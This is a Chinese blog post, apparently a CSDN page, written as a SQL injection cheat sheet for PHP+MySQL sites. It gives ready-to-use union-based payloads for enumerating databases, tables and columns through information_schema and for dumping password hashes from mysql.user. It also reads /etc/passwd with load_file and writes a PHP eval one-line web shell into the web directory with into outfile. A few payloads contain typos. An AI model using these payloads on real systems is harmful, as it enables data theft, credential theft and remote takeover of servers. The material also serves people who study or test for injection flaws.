PHP+MySQL注入

MySQL4版本注入攻击技术:

1.利用order by获得当前表的字段数

2.使用union select联合查询获取数据库信息(user(),database(),version())

MySQL5版本注入攻击技术:

1.MySQL5版本存在系统数据库information_schema和mysql

2.通过select load_file()函数读取web服务器敏感文件内容,获取数据库账户和密码

3.通过select A into dumpfile/outfile()函数将一句话木马导入到web目录

技术细节详见:

information_schema包含三个关键表:

schemata表,用于存储数据库名,其关键字段为schema_name,表示数据库名

tables表,用于存储表名,其关键字段table_schema表示所属的数据库名称,关键字段table_name表示表名

columns表,用于存储字段名,其关键字段table_schema表示所属的数据库名称,字段table_name表示所属的表名,column_name表示字段名

mysql包含一个关键表:

user表,用于存储哈希口令,其关键字段为name和password

limit构造SQL语句:

查询字段数:order by 4 //返回正确 order by 5 //返回错误

查询当前数据库:and 1=2 union select 1,database(),3,4

查询数据库表名:and 1=2 union select 1,2,table_name,4 from information_schema.tables where table_schema='库名'(十六进制) limit 0,1

查询表字段:and 1=2 union select 1,2,column_name,4 from information_schema.columns where table_name='表名'(十六进制) limit 0,1

group_concat()快速实现MySQL注入攻击:

查询所有数据库:and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata

查询当前数据库所有表:and1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() 

查询表中的字段名:and 1=2 union select 1,group_concat(column_name),3,4 from infromation_schema.columns where table_name=表名的十六进制编码

查询指定字段值:and 1=2 union select 1,group_concat(字段名1,0x7c,字段名2),3,4 from 表名(十六进制编码)

窃取哈希口令:

MySQL的哈希口令存储在mysql.user表中,通过password()函数生成哈希
MySQL4.1以前使用SHA1计算哈希口令(16字符),MySQL4.1以后使用双SHA1计算(*40字符)
构造SQL注入:select name, password from mysql.user

访问文件系统

1.读文件

MySQL允许使用select load_file命令读取服务器中的文件。

读取文本文件:

' union select load_file('/etc/passwd')#  报错

' union select null,load_file('/etc/passwd')#  通过数据库读取/etc/passwd

注意:load_file命令要求使用单引号字符,有时应用会过滤单引号,可以使用十六进制编码替代字符串

2.写文件

MySQL允许使用select A into outfile(dumpfile) B命令导入文件

写入文本文件:select 'this is a test' into outfile '/tmp/test.txt';  

写入二进制文件:aaa' union select null,'hello world\n' into dumpfile '/tmp/test.txt' #

上传一句话木马:

?id=1 union select 1,2,<? php eval($_POST['JIM']); ?>(十六进制编码),4 into outfile 'D:/www/test.txt';





评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值